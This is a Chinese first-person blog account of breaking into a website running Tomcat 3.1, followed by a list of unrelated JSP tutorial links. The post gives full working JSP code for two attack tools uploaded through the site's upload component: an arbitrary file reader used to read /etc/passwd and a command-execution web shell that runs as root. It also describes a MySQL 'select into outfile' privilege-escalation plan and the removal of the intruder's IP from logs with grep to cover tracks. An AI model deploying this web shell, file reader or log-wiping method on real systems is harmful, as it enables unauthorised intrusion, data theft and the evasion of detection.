WEB入侵jsp的过程

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的结果如下:
HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 <h1>Error: 404</h1> <h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我获得了运行的WEBServer的名称"Tomcat 3.1"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。
大概是:通过".."技术可以退出WEB目录,于是:
http://target:8080/../../../../.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/
管理员果然没有删除或禁止访问这个目录:-(失误!!!!!
接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。
几口咖啡的时间,我写了这么一个东东出来:
<%@ page import="java.io.*" %> <% String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+"<br>"); } }catch(IOException e){} %>
通过上传的组件将这个jsp上传到对方的WEB目录里,然后:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密码出来啦。我只看了"/etc/passwd"
,并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)
接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧!
再写:
<%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>
然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我这里就不列出来了)
怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql:
sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ... into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。
然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root.
嘿嘿,真是好办法,我都为我的想法感到得意......
接下去的事情,差点没让我吐血:
我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id
显示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)
剩下来的事情:
1、删除我的telnet记录。
2、删除http的日志。
至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。
我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。所以,发封邮件告诉system admin吧!
当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!

分类:默认分类 时间:2012-04-09 人气:7
本文关键词:
分享到:

相关文章

  • eclipse中web项目部署以后jsp的java文件找不到问题(Tomcat配置serverlocations) 2013-11-15

    我的开发环境:eclipse kepler (4.3)+tomcat7.0.42. 在我想看eclipse中web项目jsp文件被tomcat转换成java以后的java源文件的位置,发现正常情况下的webapps下面,没有看到我部署的项目 同时,work目录(jsp的工作目录)下面也没有生成相关的jsp的class文件和java源文件。但是我想看源码啊。找了一堆关于jsp的源码位置的文章,都说是在work下面可以找到。后来在不断的尝试下,我搜索了关键字 server locations的配置是

  • Java Web开发基础(2)-JSP 2014-10-10

    上一篇博我粗略的介绍了一下Servlet,粗略是因为博主也刚刚学习这部分的内容,还不是很懂所以无法讲的很精细。但是本着二八原则,我还是先继续学习。所以,这篇博客接着JSP的内容。因为,这两个内容关联性还是比较强的,学习的过程也应该是互相促进的。 简介 概述:JSP(Java Server Page)简单的说是一种动态网页技术,它通过在HTML网页中嵌入能够生成动态内容的程序代码,来实现静态内容和动态内容在最终呈现给客户端的统一。也就是说在HTML页中可以存在着JavaBean,JDBC对象,EJ

  • 在jsp下,一个实现将动态页面转为静态的方案 2012-02-01

    1.前言 为了能深入浅出的理解这个框架的由来,我们首先来了解一下jsp(SUN企业级应用的首选)解析器将我们写的jsp(SUN企业级应用的首选)代码转换成的JAVA文件的内容。 下面是一个jsp(SUN企业级应用的首选)文件test.jsp(SUN企业级应用的首选) <%@ page language="java" contentType="text/html;charset=GB2312" %> <% out.write("<!--文件开始-->"); %>

  • JBuilder2005实战JSP之错误处理(4) 2012-02-27

    错误处理页面error.jsp(SUN企业级应用的首选)   Web应用程序一般都有一个或多个统一的错误处理jsp(SUN企业级应用的首选)页面,以便在功能性的jsp(SUN企业级应用的首选)页面发生错误时,能以一种友好的形式向用户反馈。友好而统一的错误页面是Web展现层一个无可忽略的方面。   下面,我们创建错误处理error.jsp(SUN企业级应用的首选)文件,其代码如下所示:   代码清单 11 error.jsp(SUN企业级应用的首选)错误处理jsp(SUN企业级应用的首选)页面 1

  • JSP与JavaBeans 2012-02-29

    JSP与JavaBeans 1. 使用 beans 为了在JSP 页面中使用benas,我们必须使用JSP 动作标签:useBean useBean 格式: jsp:useBean id= “给bean 起的名字” class= “创建beans 的类”scope= “bean 有效范围”> 当服务器上某个含有 useBean 动作标签的JSP 页面被加载执行时,JSP 引擎将首先根据id 的名字,在一个同步块中,查找JSP 引擎内置 pageContent 对象中是否含有名字id 和作用

  • JSP学习笔记--JSP标签库 2012-03-31

    原文地址:http://www.7880.com/Info/Article-461b6340.html 1.jsp(SUN企业级应用的首选)标签库(也称自定义库)可看成是一套产生基于xml(标准化越来越近了)脚本的方法,它经由JavaBeans来支持。在概念上说,标签库是非常简单和可以重用的代码构造。它可以大大简化你在页面中输入各种录入框的代码(诸如此类的代码:<input type="text" name="taxpayerName" value = " ,<select name

  • 锦上添花:为最佳JSP服务器Resin加上SSL认证 2012-05-28

    刘源 Resin主要是作为WEB服务器的jsp/servlets运行平台。它支持许多WEB服务器软件,而且是完全免费的,并提供了对SUN的J2EE的支持,这要比其它相关的java和javascript开发和运行平台要好的多,而且速度非常快,并提供服务器端直接开发、编译和运行。因此,Resin受到了许多应用JSP的WEB站点的支持。 对于任何一种WEB站点来说,不管使用何种方式的开发平台,运行后最关键的问题之一就是解决服务器与用户之间的安全问题。而对于WEB站点与用户会话过程中数据的机密性保护,目

  • 对于JSP中表单数据存储的一种通用方法 2012-09-16

    引言 J2EE(Java 2 Enterprise Edition)技术已广泛应用在Web应用开发中,其中的JavaBean、Servlet技术为开发者提供了更为清晰的开发环境,使用JSP技术表现页面,使用Servlet技术完成大量的业务处理,使用Bean来存储数据及一些业务处理。在WEB应用中,业务数据存储到数据库中的处理工作经常很繁重,其中一种主要的形式就是表单数据存储到数据库,整个应用处理过程牵涉到大量的这种数据存储操作,对每个表单都要单独编写相应的数据存储程序,花费了开发人员大量的时间和

  • Servlets和JSP Pages最佳实践 2012-11-22

    Java Servlet技术与jsp(SUN企业级应用的首选)技术使Java服务器端技术,目前他们控制了整个服务器端Java技术市场,并且逐渐成为构建商业Web应用的标准。Java开发者喜欢这些技术是由于很多的原因,包括:这些技术很容易学习,一次编写,处处运行(Write Once, Run Anywhere)。更重要的是,如果更高效地采用了下面的实践,Servlet与jsp(SUN企业级应用的首选)能够帮助分开Web的表示与内容。“最佳实践”是被证明为开发高质量、可重用与易维护的基于Servl

Copyright (C) quwantang.com, All Rights Reserved.

趣玩堂 版权所有 京ICP备15002868号

processed in 0.062 (s). 10 q(s)